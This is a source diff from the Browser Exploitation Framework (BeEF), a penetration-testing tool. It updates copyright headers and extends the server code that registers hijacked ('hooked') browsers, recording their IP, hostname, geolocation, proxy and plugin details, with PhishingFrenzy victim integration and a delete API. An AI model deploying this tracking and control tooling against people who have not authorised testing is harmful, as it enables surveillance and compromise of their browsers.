# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -39,6 +39,23 @@ module Core
|
||||
config.set('beef.api_token', token)
|
||||
token
|
||||
end
|
||||
|
||||
# Generates a unique identifier for DNS rules.
|
||||
#
|
||||
# @return [String] 8-character hex identifier
|
||||
def self.dns_rule_id
|
||||
id = nil
|
||||
length = 4
|
||||
|
||||
begin
|
||||
id = OpenSSL::Random.random_bytes(length).unpack('H*')[0]
|
||||
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
|
||||
rescue StandardError
|
||||
retry
|
||||
end
|
||||
|
||||
id.to_s
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -38,10 +38,17 @@ module BeEF
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
log_zombie_port = 0
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
|
||||
log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
referer = @data['request'].referer
|
||||
if referer.start_with?("https://") then
|
||||
log_zombie_port = 443
|
||||
else
|
||||
log_zombie_port = 80
|
||||
end
|
||||
log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
else
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
@@ -51,7 +58,6 @@ module BeEF
|
||||
log_zombie_port=@data['results']['HostPort']
|
||||
else
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
end
|
||||
@@ -62,10 +68,10 @@ module BeEF
|
||||
|
||||
#Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
|
||||
@http_headers = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }
|
||||
.each { |key, value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
zombie.httpheaders = @http_headers.to_json
|
||||
zombie.save
|
||||
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
|
||||
@@ -80,6 +86,21 @@ module BeEF
|
||||
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# lookup zombie host name
|
||||
ip_str = zombie.ip
|
||||
if config.get('beef.dns_hostname_lookup')
|
||||
begin
|
||||
require 'resolv'
|
||||
host_name = Resolv.getname(zombie.ip).to_s
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
ip_str += " [#{host_name}]"
|
||||
end
|
||||
rescue
|
||||
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
|
||||
end
|
||||
end
|
||||
BD.set(session_id, 'IP', ip_str)
|
||||
|
||||
# geolocation
|
||||
if config.get('beef.geoip.enable')
|
||||
require 'geoip'
|
||||
@@ -91,37 +112,37 @@ module BeEF
|
||||
else
|
||||
#print_debug "[INIT] Geolocation results: #{geoip}"
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
|
||||
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
|
||||
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
|
||||
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
|
||||
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
|
||||
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
|
||||
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
|
||||
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
|
||||
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
|
||||
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
|
||||
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
|
||||
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
|
||||
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
|
||||
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
|
||||
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
|
||||
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
|
||||
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
|
||||
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
|
||||
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
|
||||
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
|
||||
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
|
||||
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
|
||||
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
|
||||
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
|
||||
end
|
||||
else
|
||||
print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
|
||||
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
|
||||
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
|
||||
end
|
||||
end
|
||||
|
||||
# detect browser proxy
|
||||
using_proxy = false
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'PROXY_CONNECTION',
|
||||
'PROXY_AUTHENTICATE',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR',
|
||||
'VIA'
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'PROXY_CONNECTION',
|
||||
'PROXY_AUTHENTICATE',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR',
|
||||
'VIA'
|
||||
].each do |header|
|
||||
unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
using_proxy = true
|
||||
@@ -132,12 +153,12 @@ module BeEF
|
||||
# retrieve proxy client IP
|
||||
proxy_clients = []
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR'
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR'
|
||||
].each do |header|
|
||||
proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
end
|
||||
@@ -156,6 +177,12 @@ module BeEF
|
||||
unless proxy_server.nil?
|
||||
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
|
||||
proxy_log_string += " [server: #{proxy_server}]"
|
||||
if config.get("beef.extension.network.enable") == true
|
||||
if proxy_server =~ /^([\d\.]+):([\d]+)$/
|
||||
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy', :cid => 'init')
|
||||
end
|
||||
end
|
||||
end
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
|
||||
end
|
||||
@@ -290,10 +317,10 @@ module BeEF
|
||||
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasFoxit', 'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasSilverlight', 'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
v = get_param(@data['results'], k)
|
||||
@@ -323,6 +350,11 @@ module BeEF
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
print_debug("Hooked browser has network interface 127.0.0.1")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'), :cid => 'init')
|
||||
end
|
||||
|
||||
# Call autorun modules
|
||||
if config.get('beef.autorun.enable')
|
||||
@@ -345,6 +377,16 @@ module BeEF
|
||||
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
|
||||
if config.get('beef.integration.phishing_frenzy.enable')
|
||||
# get and store the browser plugins
|
||||
victim_uid = get_param(@data['results'], 'PhishingFrenzyUID')
|
||||
if BeEF::Filters.alphanums_only?(victim_uid)
|
||||
BD.set(session_id, 'PhishingFrenzyUID', victim_uid)
|
||||
else
|
||||
self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -29,6 +29,11 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable") == true
|
||||
beef_js_sub_files << "websocket.js"
|
||||
end
|
||||
# @note Load webrtc library only if WebRTC extension is enabled
|
||||
if config.get("beef.extension.webrtc.enable") == true
|
||||
beef_js_sub_files << "lib/webrtcadapter.js"
|
||||
beef_js_sub_files << "webrtc.js"
|
||||
end
|
||||
|
||||
# @note antisnatchor: leave timeout.js as the last one!
|
||||
beef_js_sub_files << "timeout.js"
|
||||
@@ -38,7 +43,7 @@ module BeEF
|
||||
|
||||
# @note If Evasion is enabled, the final ext_js string will be ext_js_to_obfuscate + ext_js_to_not_obfuscate
|
||||
# @note If Evasion is disabled, the final ext_js will be just ext_js_to_not_obfuscate
|
||||
ext_js_sub_files.each{ |ext_js_sub_file|
|
||||
ext_js_sub_files.each { |ext_js_sub_file|
|
||||
if config.get("beef.extension.evasion.enable")
|
||||
if config.get("beef.extension.evasion.exclude_core_js").include?(ext_js_sub_file)
|
||||
print_debug "Excluding #{ext_js_sub_file} from core files obfuscation list"
|
||||
@@ -103,6 +108,11 @@ module BeEF
|
||||
hook_session_config['websocket_sec_port']= config.get("beef.http.websocket.secure_port")
|
||||
end
|
||||
|
||||
# @note Set if PhishingFrenzy integration is enabled
|
||||
if config.get("beef.integration.phishing_frenzy.enable")
|
||||
hook_session_config['phishing_frenzy_enable'] = config.get("beef.integration.phishing_frenzy.enable")
|
||||
end
|
||||
|
||||
# @note populate place holders in the beef_js string and set the response body
|
||||
eruby = Erubis::FastEruby.new(beef_js)
|
||||
@hook = eruby.evaluate(hook_session_config)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -53,7 +53,7 @@ module BeEF
|
||||
if config.get("beef.http.websocket.enable") && ws.getsocket(hooked_browser.session)
|
||||
#content = command_module.output.gsub('//
|
||||
#//
|
||||
#// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
#// Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
#// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
#// See the file 'doc/COPYING' for copying permission
|
||||
#//
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -59,16 +59,33 @@ module Handlers
|
||||
# Binds a file to a mount point
|
||||
# @param [String] file File path to asset
|
||||
# @param [String] path URL path to mount the asset to (can be nil for random path)
|
||||
# @param [String] extension Extension to append to the URL path (can be nil for none)
|
||||
# @param [String] extension File extension (.x). If == nil content-type is text/plain, otherwise use the right one via MIME::Types.type_for()
|
||||
# @param [Integer] count The amount of times the asset can be accessed before being automatically unbinded (-1 = unlimited)
|
||||
# @return [String] URL Path of mounted asset
|
||||
# @todo This function should accept a hooked browser session to limit the mounted file to a certain session
|
||||
def bind(file, path=nil, extension=nil, count=-1)
|
||||
url = build_url(path, extension)
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file, 'path' => path, 'extension' => extension, 'count' => count}
|
||||
@http_server.mount(url, Rack::File.new(@allocations[url]['file']))
|
||||
@allocations[url] = {'file' => "#{root_dir}"+file,
|
||||
'path' => path,
|
||||
'extension' => extension,
|
||||
'count' => count}
|
||||
|
||||
resp_body = File.read("#{root_dir}#{file}")
|
||||
|
||||
if extension.nil? || MIME::Types.type_for(extension).empty?
|
||||
content_type = 'text/plain'
|
||||
else
|
||||
content_type = MIME::Types.type_for(extension).first.content_type
|
||||
end
|
||||
|
||||
@http_server.mount(
|
||||
url,
|
||||
BeEF::Core::NetworkStack::Handlers::Raw.new('200', {'Content-Type' => content_type}, resp_body)
|
||||
)
|
||||
|
||||
@http_server.remap
|
||||
print_info "File [" + "#{root_dir}"+file + "] bound to url [" + url + "]"
|
||||
print_info "File [#{file}] bound to Url [#{url}] using Content-type [#{content_type}]"
|
||||
|
||||
url
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -32,14 +32,17 @@ module BeEF
|
||||
'Content-Type' => 'text/javascript',
|
||||
'Access-Control-Allow-Origin' => '*',
|
||||
'Access-Control-Allow-Methods' => 'POST, GET'
|
||||
|
||||
PQ << {
|
||||
begin
|
||||
PQ << {
|
||||
:beefhook => params[:bh],
|
||||
:stream_id => Integer(params[:sid]),
|
||||
:packet_id => Integer(params[:pid]),
|
||||
:packet_count => Integer(params[:pc]),
|
||||
:data => params[:d]
|
||||
}
|
||||
}
|
||||
rescue TypeError, ArgumentError => e
|
||||
print_error "Hooked browser returned an invalid argument: #{e}"
|
||||
end
|
||||
|
||||
Thread.new {
|
||||
check_packets()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -10,14 +10,19 @@ module BeEF
|
||||
|
||||
class Raw
|
||||
|
||||
def initialize(status, header={}, body)
|
||||
def initialize(status, header={}, body=nil)
|
||||
@status = status
|
||||
@header = header
|
||||
@body = body
|
||||
@header = header
|
||||
@body = body
|
||||
end
|
||||
|
||||
def call(env)
|
||||
[@status, @header, @body]
|
||||
# [@status, @header, @body]
|
||||
@response = Rack::Response.new(
|
||||
body = @body,
|
||||
status = @status,
|
||||
header = @header
|
||||
)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -168,8 +168,9 @@ module BeEF
|
||||
begin
|
||||
secure ? print_debug("New WebSocketSecure channel open.") : print_debug("New WebSocket channel open.")
|
||||
ws.onmessage { |msg|
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
begin
|
||||
msg_hash = JSON.parse("#{msg}")
|
||||
#@note messageHash[result] is Base64 encoded
|
||||
if (msg_hash["cookie"]!= nil)
|
||||
print_debug("WebSocket - Browser says helo! WebSocket is running")
|
||||
#insert new connection in activesocket
|
||||
@@ -202,9 +203,12 @@ module BeEF
|
||||
#print_debug("Received from WebSocket #{messageHash}")
|
||||
execute(msg_hash)
|
||||
end
|
||||
rescue => e
|
||||
print_error "WebSocket - something wrong in msg handling - skipped: #{e}"
|
||||
end
|
||||
}
|
||||
rescue => e
|
||||
print_error "WebSocket error: #{e}"
|
||||
print_error "WebSocket staring error: #{e}"
|
||||
end
|
||||
end
|
||||
}
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -43,6 +43,68 @@ module BeEF
|
||||
output.to_json
|
||||
end
|
||||
|
||||
get '/:session/delete' do
|
||||
hb = BeEF::Core::Models::HookedBrowser.first(:session => params[:session])
|
||||
error 401 unless hb != nil
|
||||
|
||||
details = BeEF::Core::Models::BrowserDetails.all(:session_id => hb.session)
|
||||
details.destroy
|
||||
|
||||
logs = BeEF::Core::Models::Log.all(:hooked_browser_id => hb.id)
|
||||
logs.destroy
|
||||
|
||||
commands = BeEF::Core::Models::Command.all(:hooked_browser_id => hb.id)
|
||||
commands.destroy
|
||||
|
||||
results = BeEF::Core::Models::Result.all(:hooked_browser_id => hb.id)
|
||||
results.destroy
|
||||
|
||||
begin
|
||||
requester = BeEF::Core::Models::Http.all(:hooked_browser_id => hb.id)
|
||||
requester.destroy
|
||||
rescue => e
|
||||
#the requester module may not be enabled
|
||||
end
|
||||
|
||||
begin
|
||||
xssraysscans = BeEF::Core::Models::Xssraysscan.all(:hooked_browser_id => hb.id)
|
||||
xssraysscans.destroy
|
||||
|
||||
xssraysdetails = BeEF::Core::Models::Xssraysdetail.all(:hooked_browser_id => hb.id)
|
||||
xssraysdetails.destroy
|
||||
rescue => e
|
||||
#the xssraysscan module may not be enabled
|
||||
end
|
||||
|
||||
hb.destroy
|
||||
end
|
||||
|
||||
#
|
||||
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
|
||||
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
|
||||
#
|
||||
get '/pf/online' do
|
||||
online_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.gte => (Time.new.to_i - 15)))
|
||||
|
||||
output = {
|
||||
'aaData' => online_hooks
|
||||
}
|
||||
output.to_json
|
||||
end
|
||||
|
||||
#
|
||||
# @note this is basically the same call as /api/hooks, but returns different data structured in arrays rather than objects.
|
||||
# Useful if you need to query the API via jQuery.dataTable < 1.10 which is currently used in PhishingFrenzy
|
||||
#
|
||||
get '/pf/offline' do
|
||||
offline_hooks = hbs_to_array(BeEF::Core::Models::HookedBrowser.all(:lastseen.lt => (Time.new.to_i - 15)))
|
||||
|
||||
output = {
|
||||
'aaData' => offline_hooks
|
||||
}
|
||||
output.to_json
|
||||
end
|
||||
|
||||
#
|
||||
# @note Get all the hooked browser details (plugins enabled, technologies enabled, cookies)
|
||||
#
|
||||
@@ -69,20 +131,51 @@ module BeEF
|
||||
end
|
||||
|
||||
def get_hb_details(hb)
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
details = BeEF::Core::Models::BrowserDetails
|
||||
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'BrowserPlatform'),
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI')
|
||||
}
|
||||
{
|
||||
'id' => hb.id,
|
||||
'session' => hb.session,
|
||||
'name' => details.get(hb.session, 'BrowserName'),
|
||||
'version' => details.get(hb.session, 'BrowserVersion'),
|
||||
'os' => details.get(hb.session, 'OsName'),
|
||||
'platform' => details.get(hb.session, 'BrowserPlatform'),
|
||||
'ip' => hb.ip,
|
||||
'domain' => details.get(hb.session, 'HostName'),
|
||||
'port' => hb.port.to_s,
|
||||
'page_uri' => details.get(hb.session, 'PageURI')
|
||||
}
|
||||
end
|
||||
|
||||
# this is used in the 'get '/pf'' restful api call
|
||||
